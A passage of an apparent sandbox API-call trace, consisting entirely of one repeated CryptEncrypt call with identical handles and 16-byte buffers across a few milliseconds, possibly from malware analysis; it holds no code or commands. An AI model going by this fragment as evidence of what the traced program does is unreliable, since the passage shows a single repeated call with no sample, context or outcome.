pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.589] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.589] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.589] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.590] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.590] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.590] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.590] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.590] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.590] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.590] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.590] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.590] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.590] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.590] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.590] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.590] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.590] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.590] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.590] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.590] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.590] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.591] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.591] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.591] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.591] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.591] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.591] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.591] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.591] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.591] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.591] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.591] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.591] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.591] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.591] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.591] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.591] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.591] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.591] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.591] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.592] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.592] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.592] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.592] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.592] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.592] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.592] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.592] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.592] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.592] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.592] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.592] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.592] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.592] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.592] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.592] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.592] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.592] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.593] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.593] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.593] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.593] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.593] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.593] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.593] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.593] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.593] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.593] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.594] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.594] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.594] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.594] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.594] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.594] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.594] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.594] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.594] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.594] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.594] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.595] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.595] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.595] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.595] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.595] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.595] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.595] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.595] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.595] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.595] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.595] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.595] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.595] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.595] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.595] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.595] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.595] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.595] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.596] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.596] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.596] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.596] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.596] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.596] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0158.596] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) 